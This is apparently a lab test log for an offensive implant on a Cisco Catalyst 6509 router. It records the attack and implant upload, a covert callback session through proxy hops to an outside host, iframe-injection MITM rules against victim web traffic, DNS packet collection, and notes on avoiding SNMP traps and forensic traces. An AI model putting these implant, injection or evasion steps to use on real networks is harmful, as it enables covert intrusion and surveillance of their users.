Owner: User #71467

Cytolysis-1h Testing

HG was delivered for Cytolysis on 10/12/2015 for SUP720.  Testing scope will include SMITE, ACE, Redirection and Packet Collection capabilties.  

CONOP will be:

• Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 osmo mgmt subnet - and attack mgmt VLANVirtual Local Area Network 1 ip address - 0.108 from a host that is allowed vty access via acl 2
• Establish CTCounter Terrorism session back through flux node 3
• Use ACEApplication Control Engine (Module) commands to verify state of the device
• Use socket get_arp_survey_data and packet collection to identify target hosts on VLANVirtual Local Area Network 19
• SMITE hosts on target customer network - VLANVirtual Local Area Network 19

Testing Summary

• Note in test report that module 2 is in state PwrDown and should be verified before proceeding
• FilterBroker module needs to be manually started after HG install
• SNMP trap is observed during IACInternational Access Code attack - this can be prevented with use of --ignorelog flag
• 5 second CPU spikes to around 40% during IACInternational Access Code attack
• Note that during IACInternational Access Code attack, router attempts to perform a PTR query for flux3 node
• Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - we will trigger to IP of device on port UDPUser Datagram Protocol 161.
• Comms packets are SSLv3 - need to consider if this is noticeable on this network
• Can only SMITE to /32 destinations
• HG-11 - Return web traffic that matches a SMITE rule is denied by ACL

Testing Notes

VMs Used

• Cytolysis-ICON-Debian8
• Cytolysis-Seeds-Ubuntu
• Cytolysis-Victim1
• Cytolysis-Victim2
• Cytolysis-Victim3
• Cytolysis-Cust1-Host
• Cytolysis-Flux1
• Cytolysis-Flux2
• Cytolysis-Flux3
• Cytolysis-Flux4
• Windex

Console connections

• 6509 RP Slot 6: telnet 10.9.8.9 7013
• 6509 RP Slot 5: telnet 10.9.8.9 7014
• 4948-Osmo3   : telnet 10.9.8.9 7015
• 3750G-Cust2  : telnet 10.9.8.9 7016
• 3750-Cust1     : telnet 10.9.8.9 7017
• 3750E-Osmo  : telnet 10.9.8.9 7018

Device Setup

• 6509E Chassis with the following linecards
  • Slot 1 - WS-6148-GE-TX
  • Slot 2 - WS-6148-GE-TX - powered down
  • Slot 3 - WS-X6704-10GE
  • Slot 4 - EMPTY
  • Slot 5 - WS-SUP720-3B
  • Slot 6 - WS-SUP720-3B
• DUT IOSApple operating system for small devices - sup-bootdisk:s72033-ipservices_wan-mz.122-33.SXI.bin
• DUT ROMRead-Only Memory - ROM: System Bootstrap, Version 12.2(17r)SX5, RELEASE SOFTWARE (fc1)
• OSPF running with Osmo-3 routers, rx equal-cost default route from two OSPFOpen Shortest Path First peers over Uplinks, along with other OSPFOpen Shortest Path First routes.
• Uplinks to Osmo-3 routers - one on 10G interface, other on 1G interface (target may actually have two 10G uplinks, however I do not have two 10G routers to link to).
• 10GB Uplink uses ISL trunk encapsulation, 1GB uplink uses dot1q (that module on 6509 does not support ISL trunking)
• Customer 2 is the target traffic, Customer 1 is just additional traffic.  Customer routers replicated with 3750s.
• Customer 2 target network is NAT'd by the DUT
• Hop through three flux nodes to attack - one on Internet and two on Osmo network.  Final Flux node on CONTROL network hanging off Osmo router.
• SNMP monitoring, Syslog and trap logging set up to Solarwinds
• Port mirror set up for VLANVirtual Local Area Network 3 and 47
• Config differences between Target and DUT
  • ip name server 4.4.4.4 added
  • power mode combined
  • no power enable module 2 - not sure why their slot 2 is PwrDown without this command
  • g1/48 configured as an Uplink with dot1q encap and removed from SPAN for VLANVirtual Local Area Network 3,47
  • logging/snmp host statements and acl 2 changed for 10.9.8.22
  • added 1.1.1.1 as ntp server and added to acl Core-Net-filter-in.

Tests

1. Test 1 - Smoke Test of HG Install, CTCounter Terrorism Session Establishment and Uninstall
   1. Setup FLXFluxwire connection - 3 flux hops, final hop is XXX.XXX.X.XX (TOPWAY-NET[CN])
   2. Cytolysis set up running - snmp, logging, traps, ntp, ospf, seeds from Cust2 and Cust1
   3. Before IACInternational Access Code attack show mem
      

      cytolysis-1#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 453AF410 381979632 102106504 279873128 276188548 210810104
      I/O 8000000 67108864 13940548 53168316 53130480 53116124

   4. Before IACInternational Access Code attack show proc cpu

      cytolysis-1#show proc cpu
      CPU utilization for five seconds: 1%/0%; one minute: 1%; five minutes: 2%
      PIDProcess ID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTYTeletype device Process
      1 12 28 428 0.00% 0.00% 0.00% 0 Chunk Manager

   5. IAC attack proceeding:
      root@debian:/home/user1/ops/cytolysis/cytolysis-1h/attack/linux# ./iac --ip XXX.XXX.X.XXX (TOPWAY-NET[CN]) --l cisco:cisco cisco
      LGDHM
      root@debian:/home/user1/ops/cytolysis/cytolysis-1h/attack/linux#

   6. SNMP Trap observed during IACInternational Access Code attack
      ccmHistoryEventCommandSource.4 = commandLine(1) 
      ccmHistoryEventConfigSource.4 = 3 
      ccmHistoryEventConfigDestination.4 = 2 
      snmpTrapOID = CISCO-CONFIG-MAN-MIB:ciscoConfigManEvent 
      sysUpTime = 15 minutes 56.80 seconds 
      experimental.1057.1.0 = XXX.XXX.X.XX (TOPWAY-NET[CN]) 
      snmpTrapEnterprise = CISCO-CONFIG-MAN-MIB:ciscoConfigManMIBNotificationPrefix
   7. CPU spike to 40% briefly during IACInternational Access Code attack
   8. Memory after IACInternational Access Code attack:
      

      cytolysis-1#show mem
      Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
      Processor 453AF410 381979632 102115968 279863664 276164004 210810104
      I/O 8000000 67108864 13940548 53168316 53130480 53116124

   9. No syslog  messages observed during IACInternational Access Code attack
   10. Proceeding with remote install:
       Result: 0x00000001
   11. During install - CPU hit 11% once and 19% right at the end.  Only two spikes.
   12. Show mem after install
       

       cytolysis-1#show mem
       Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
       Processor 453AF410 381979632 104908616 277071016 276164004 208800940
       I/O 8000000 67108864 13940548 53168316 53130480 53116124

   13. No syslog or SNMPSimple Network Management Protocol trap observed during installation

   14. Proceeding with CTCounter Terrorism session establishment:
       Had to chmod cytolysis.txt to 755 so that I could edit it.
   15. Setup bridge on Flux for 443 for CTCounter Terrorism session callback

   16. [XXX.XXX.X.XX (TOPWAY-NET[CN])]> beacon call_base_back https XXX.XXX.X.XX (TOPWAY-NET[CN]) 443 -ii XXX.XXX.X.XX (TOPWAY-NET[CN])
       [Success]
       Trigger Sequence Number sent: 0
       ************ Success ************
       [beacon call_base_back https XXX.XXX.X.XX (TOPWAY-NET[CN]) 443 -ii XXX.XXX.X.XX (TOPWAY-NET[CN])]

       [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

   17. Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):11814
       Attempting SSLSecure Socket Layer Handshake...
       SSL Handshake Successful!
       [Success]
       New Key: WDHKc037O2DKUKBuGuKXtnIRlQzOLKnr7KKtVMnUewQ=
       ************ Success ************
       [ilm listen cytolysis-1h.txt]

   18. CT session successful sending trigger to XXX.XXX.X.XX (TOPWAY-NET[CN]), and setting impersonate to same host
   19. No SNMPSimple Network Management Protocol trap or syslog generated during CTCounter Terrorism session establishment
   20. There are no snooped entries in the web, dns or https list - expected because this delivery does not have snooping enabled.
   21. socket get_arp_survey_data does show the seeds hosts:
       

       [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data
       [Success]
       Vlan: 0
       Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
       10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2015-10-29T20:37:32Z
       XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:3c:e4 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2015-10-29T20:37:06Z
       
       ************ Success ************
       [socket get_arp_survey_data]

   22. Collected show tech with HG

   23. Proceeding with uninstall:
       

       [XXX.XXX.X.XX (TOPWAY-NET[CN])]> device uninstall_hg -mp -f

       Warning!!!
       This command will remove all capabilities.
       If installed, EVExecution Vector capabilities will be wiped, but MAY LEAVE BEHIND ARTIFACTS
       Memory permissions will be reset. See Operational Use Notes for more information.
       This connection will be terminated as a result of this command.

       Do you wish to continue?
       Enter yes or no: yes

       [Success]
       ************ Success ************
       [device uninstall_hg -mp -f]

       [XXX.XXX.X.XX (TOPWAY-NET[CN])]> [Remote Failure]
       ************ Remote Failure ************
       Connection to device lost!!

       >

   24. No SNMPSimple Network Management Protocol Trap observed during unisntall, no syslog

   25. CPU did not spike during uninstall
   26. Show mem after uninstall:
       

       cytolysis-1#show mem
       Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
       Processor 453AF410 381979632 102149020 279830612 273348252 210747028
       I/O 8000000 67108864 13940548 53168316 53130480 53116124

   27. Collected show tech after uninstall.

2. Testing HG Module stop/start/restart
   1. After HG was installed and ran all weekend on the device, established a CTCounter Terrorism session to HG
   2. Executed module show:
      

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> module show
      [Success]
      Name Version Boot Persistence State Address Path
      Beachhead 11 No Running 0x47f8d2b4 default:Beachhead.mod
      IV 19 No Running 0x47ad8e8c default:IV.mod
      OSOperating System 26 No Running 0x47e2b5c8 default:OS.mod
      Utility 16 Yes Running 0x47f92fdc default:Utility.mod
      ACEApplication Control Engine (Module) 23 No Running 0x47e3593c default:ACE.mod
      Beacon 21 Yes Running 0x47ee813c default:Beacon.mod
      Broker 17 Yes Running 0x536edb1c default:Broker.mod
      Configuration 7 Yes Running 0x47e39ab4 default:Configuration.mod
      Device 34 Yes Running 0x47ef2538 default:Device.mod
      DNSDomain Name System 19 No Running 0x47ef973c default:DNS.mod
      EBroker 8 No Running 0x536f3284 default:EBroker.mod
      HTTPSHypertext Transfer Protocol Secure 18 No Running 0x47f0aea8 default:HTTPS.mod
      MiniLZO 6 Yes Running 0x47f97d1c default:MiniLZO.mod
      Packet 38 Yes Running 0x47f1ed7c default:Packet.mod
      Persistence 1 Yes Running 0x47f04710 default:Persistence.mod
      Process 33 Yes Running 0x47f15214 default:Process.mod
      RC6 7 No Running 0x47f37ff0 default:RC6.mod
      RFS 2 Yes Running 0x47f2f410 default:RFS.mod
      Socket 19 Yes Running 0x47f4f95c default:Socket.mod
      SWINE 16 No Running 0x47f46010 default:SWINE.mod
      Trigger 22 Yes Running 0x4801b4c0 default:Trigger.mod
      Uninstall 5 Yes Running 0x53841c0c default:Uninstall.mod
      Web 4 Yes Running 0x538434c0 default:Web.mod
      Name State Version Critical
      Beachhead ModuleRunning 11 Yes
      IV ModuleRunning 19 Yes
      OSOperating System ModuleRunning 26 Yes
      Utility ModuleRunning 16 Yes
      ACEApplication Control Engine (Module) ModuleRunning 23 No
      Press <enter> to continue

      Beacon ModuleRunning 21 Yes
      Broker ModuleRunning 17 Yes
      Configuration ModuleRunning 7 Yes
      Device ModuleRunning 34 Yes
      DNSDomain Name System ModuleRunning 19 Yes
      EBroker ModuleRunning 8 Yes
      HTTPSHypertext Transfer Protocol Secure ModuleRunning 18 Yes
      MiniLZO ModuleRunning 6 Yes
      Packet ModuleRunning 38 Yes
      Persistence ModuleRunning 1 No
      Process ModuleRunning 33 Yes
      RC6 ModuleRunning 7 Yes
      RFS ModuleRunning 2 No
      Socket ModuleRunning 19 Yes
      SWINE ModuleRunning 16 Yes
      Trigger ModuleRunning 22 No
      Uninstall ModuleRunning 5 No
      Web ModuleRunning 4 Yes
      ************ Success ************
      [module show]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

   3. ACE - Start/Stop ACEApplication Control Engine (Module) module and restarted ACEMod - successful.  Subsequently issued ACEApplication Control Engine (Module) commands successfully.

   4. FilterBroker - had to start manually, it was not started.  Start/Stop FilterBroker module and restarted FilterBroker successfully.
   5. Attempted to stop Socket and DNSDomain Name System module however I received an error stating this was a critical module
   6. Started/Stopped and restarted the Trigger module
   7. Restarted FilterBroker module again - verified ability to run mtim status
   8. Restarted ACEMod again - verified ability to run ACEApplication Control Engine (Module) commands
3. Ad -Hoc test - re-attack
   
   1. Started with a clean device - it had been reloaded but an IXIA test had been run on it
   2. Verified 3 flux hops in use
   3. Verified OSPFOpen Shortest Path First and logging
   4. IAC attacked - CPU spike during IACInternational Access Code attack - 39%
   5. Observed same SNMPSimple Network Management Protocol trap during IACInternational Access Code attack
   6. Uploaded HG - no trap or CPU issues
   7. Established CTCounter Terrorism session - notice very small spike during SSLSecure Socket Layer establishment - 15% in five second CPU
   8. When choosing a host to impersonate - chose 10.0.11.1 and it was NATd out and established back to my flx node as XXX.XXX.X.XX (TOPWAY-NET[CN]).
   9. Uninstalled HG with device uninstall -mp -f command
   10. Re-attacked with IACInternational Access Code and uploaded HG - established CTCounter Terrorism session successfully.
   11. Uninstalled again.
   12. Repeated attack again. successful
   13. Uninstalled again.
   14. Repeated attack again - successful
   15. All of these repeat attacks were on same RP, no failover or reload.  Will test repeat attacks after failover as part of sup failover testing.
4. ACE Module capability testing
   1. HG installed from previous test
   2. Establish CTCounter Terrorism session and execute ACEApplication Control Engine (Module) commands - show ver, show ip int br, show module, show arp, show mac address-table, show log, show int vlan 1, show platform hardware capacity, sh tcam counts, show run, show run int vlan 2, wr mem, clear ip nat trans * (this killed my ct session), show access-list, show vlan, show ip route, show power, show environment, show ntp a, show ip sockets, show mod power, show mod integrity, show sup-bootflash:, clear arp, 
   3. Powered down line card in slot 2 at CLI
   4. No issues observed during power down of line card
   5. Disconnected and reconnected CTCounter Terrorism session
   6. Entered some incorrect commands to test boundaries - asdfhsaj, show *, show run | beg line <-cannot run this
   7. Attempting to run copy command "copy run sup-bootflash:" created a file called exit on the bootflash with the running config in it.  Deleted this file.
   8. Running "copy run sup-bootflash:config" also creates a file called exit.
   9. Running "delete sup-bootflash:config" via ACEApplication Control Engine (Module) does not delete the file
   10. None of the ACEApplication Control Engine (Module) commands show in output of "show history"
   11. show history does not seem to show the actual history - just has an entry for "show history"
   12. Documentation for ACEApplication Control Engine (Module) module says that only show commands are supported - maybe commands other than show should be blocked by ilm or CT.
       

       CMD: 'show mod ' 01:27:14 C6506 Fri Nov 6 2015
       CMD: 'show mod power' 01:27:19 C6506 Fri Nov 6 2015
       CMD: 'show
       cytolysis-1#

5. OIR/shutdown/startup of modules with HG
   1. Powered module 2 up and down administratively 3 times with HG installed.  Verified CTCounter Terrorism session establishment between each state transition, no CTCounter Terrorism session during state transition.
   2. Powered up/down module 2 adminisitratively 3 times while CTCounter Terrorism session active.
   3. Disconnected HG session and performed 3 hw-module resets on slot 2. then verified ct session.
   4. Disconnected HG session and performed a hw-module reset on each slot 1 - 3 and then verified CTCounter Terrorism session
   5. With CTCounter Terrorism session active, performed an OIR card removal on slot 2.  Then disconnected and reconnected to CT
   6. With CTCounter Terrorism active, performed an OIR card insertion on slot 2 then disconnected and connected CT.
6. SMITE capability Smoke Test
   1. With HG present from Test 5, verified Flux, OSPFOpen Shortest Path First and logging to solarwinds
   2. Started FilterBroker module
   3. Created a SMITE rule for any web traffic and found that even though HG said Remote Failure, unable to start filter assist, the rule was created but not enabled.
      

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> mitm show
      [Success]
      No Rules Found
      ************ Success ************
      [mitm show]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> mitm status
      [Success]
      Enabled Rules: 0
      Persisted Rules: 0
      Active Sessions: 0
      Sessions Affected: 0
      ************ Success ************
      [mitm status]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> mitm create http_iframe 10.11.0.10 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
      [Remote Failure]
      "Mitm Enable" command error:
      [FilterBroker 111] Unable to start filter assist
      ************ Remote Failure ************
      [mitm create http_iframe 10.11.0.10 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ -en -bc -bk]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]> mitm show
      [Success]
      
      Actions Available:
      Action: HTTPHypertext Transfer Protocol IFRAMEEmbedded Webpage
      Version: 3
      
      Number of Rules: 1
      Rules:
      ID: 4
      Type: HTTPHypertext Transfer Protocol IFRAMEEmbedded Webpage
      Enabled: No
      Persistent: No
      Persistent State: --
      Source IP: 10.11.0.10/32
      Dest IP: X.X.X.XX (LVLT-GOGL-8-8-8[US])/24
      Action Data: http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ
      
      ************ Success ************
      [mitm show]

      [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

      
      
      

   4. Talked to Charlie/Xetron - the rule was not enabled because with this platform, can only SMITE to /32 destinations.

   5. Created a new rule - mitm create http_iframe 10.11.0.13 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.255 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
   6. Observed that when I try to web browse from victim, page doesn't load properly and iframe is not injected
   7. Observed the following log message on console - it looks like return traffic from web server is being denied:
      

      Nov 10 00:18:30.568 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp X.X.X.XX (LVLT-GOGL-8-8-8[US])(80) (Vlan2 0015.fa80.efbf) -> 10.11.0.13(1430), 1 packet

   8. Reloaded DUTDevice Under Test to start with a clean device
   9. Tested browsing to three different servers - X.X.X.XX (LVLT-GOGL-8-8-8[US]), 100.100.40.3 and 100.100.40.4 from the 10.11.0.13 host and was successful.  Did not record any denies on acl.
   10. IAC attacked and repeated web browsing successfully.
   11. Installed HG and repeated web browsing successfully.
   12. Established CTCounter Terrorism session and repeated browsing successfully
   13. Started FilterBroker and repeated browsing successfully.
   14. Added SMITE rule and i was unable to browse and I saw the error message when hitting web server that matches SMITE rule.  Web traffic that did not match SMITE rule proceeded normally.
       mitm create http_iframe 10.11.0.13 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.255 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?" -en -bc -bk
   15. Created HG-11 and sent to Xetron
7. Test Packet Collection
   1. Will smoke test packet collection of DNSDomain Name System packets to identify DNSDomain Name System servers in use by target hosts and web destinations per the CONOPConcealed Operation discussion
   2. Verified Seeds traffic is working from VLANVirtual Local Area Network 3 and VLANVirtual Local Area Network 19
   3. Enabled a packet collection rule - collect create 0.0.0.0 0.0.0.0 53 53 10.11.0.13 255.255.255.255 udp -en -t 15s
   4. When rule is enabled, traffic doesn't flow and nothing is collected
   5. Tried several variations on the rule and found that if I use 4.4.4.4 as the destination host, the traffic stops, but i do actually get collection results
8. Generating Baseline performance test
   1. Running two hour test with no HG - HG was uninstalled and then device was powered off for 20seconds and then powered back up
   2. Ran IXIA for 2 hour test.
   3. Collected results - Cytolysis-1h_56-Baseline-no-hG-Test8
9. Generate Another Baseline with more traffic
   1. Running two hour test with no HG - same test as test 8 except with more traffic flowing through
   2. Collected results - Cytolysis-1h_58-Baseline-no-HG-Test9
10. Performance test - same as Test 9 but with HG, no rules active
    1. test kicked off at 2:30PM on Friday
    2. compared results of test 9 and 10.  Found no difference in CPU % as reported by Solarwinds.  Found only small difference in Used memory in solarwinds, which is expected because with HG installed, output of show mem does show some additional used memory.  Difference in memory was - 25.9% utilized without HG, 26.6% utilized with HG
    3. IXIA report - no significant difference in report observed in the following areas - Agg Appsim - IP Summary, TCPTransport Control Protocol Setup time, TCPTransport Control Protocol Response Time, TCPTransport Control Protocol close time, TCPTransport Control Protocol summary, Frame latency summary, UDPUser Datagram Protocol summary.  Under Component summary, the Maximum Client Establish rate was lower with HG installed - 8990 vs 5330.  This is something to watch with subsequent tests of performance with either rules active or with additional traffic.  In this same section, TCPTransport Control Protocol flow rate was lower with HG as well.   Application Summary showed only a handful more errors with HG (~100).
    4. Checked individual component stats in test report and it seems that cust1 component performed well - the other three are the ones with the decreased rate of max client establishment/TCP flow rate.  Those three all involve subnet flx2, whlie cust1 test flows to services.  Could be something to investigate - whether there is an issue with sending traffic out the uplink interface on vlan 2 versus sending traffic to other interfaces/vlans on the DUT.
11. Opsec review
    1. Observed known issues in show tech - init process missing from show stacks and output of show mem shows higher Used mem with HG
    2. After HG uninstalled - Init process back, no anamolous output
12. Ad-hoc - Administrator commands testing
    1. with HG installed, perform system administrator functions, kicked off ixia to run background traffic
    2. Added and deleted vlan interface and associated vlan, various show commands, bounced vlan 2 interface, added/deleted a user, clear counters, clear access-list counters, clear cef table
    3. Observed that IP that I am impersonating for CTCounter Terrorism session has a receive adj when directly queried however does not show up in show ip cef detail.  Also ping to that host failed until I disconnected CTCounter Terrorism session, at which point the cef RAA was dropped and traffic to that host resumed.  This is expected behavior based on HG-11.
    4. test cef commands, test diagnostic all on slot 3, show tech, show ip cef commands (known observables), created and deleted new port mirror, changed console and buffer logging levels, clear arp and clear mac address table, deleted and re-added acl from vty lines, deleted and re-added acl from vlan 2 and vlan 19, term len 0, show run
13. Ad-hoc test - Add latency to ICON machine
    
    1. Uninstalled HG
    2. Added latency - 1000ms to ICON workstation
    3. IAC attacked - IACInternational Access Code attack failed - LG ECEdgeCase 133 DHE - 133 is "Router issue command failed".  Follow up to see if this is related to re-attack or additional latency.
    4. Reduced latency to 500ms - IACInternational Access Code attack - Attack and HG upload successful 0- LGDTHM
    5. Established CTCounter Terrorism session successfully with 500ms
    6. Uninstalled HG and reloaded DUTDevice Under Test to try again with 1000ms of latency - successfully attacked and installed, establsihed CTCounter Terrorism session with latency
    7. Repeated test with 1000 ms successfully
14. Verifying result of performance testing
    1. Ran iterations 61 and 62 of same test - reload DUT, then run test each time.  Generated a comparison report.  Results are not 100% consistent with previous results.  Still looking into report.
15. Run Stack Scrambler test with HG installed - 2h
16. Ran Stack Scrambler test with HG installed - 8 hour - no crashes or prints
17. Ad hoc test - reload during HG upload
    1. Started with a clean DUT
    2. IAC attacked
    3. Reloaded Device at 97% HG upload complete
    4. Verified no prints or traps sent, router reloaded normally
    5. Successfully re-attacked and uploaded HG
18. Ad hoc - perform admin functions during HG upload
    1. performed show tech during HG upload
    2. bounced power to module 2 during Hg upload
    3. Performed show commands
    4. DId not obbserve any anamolous output on console or traps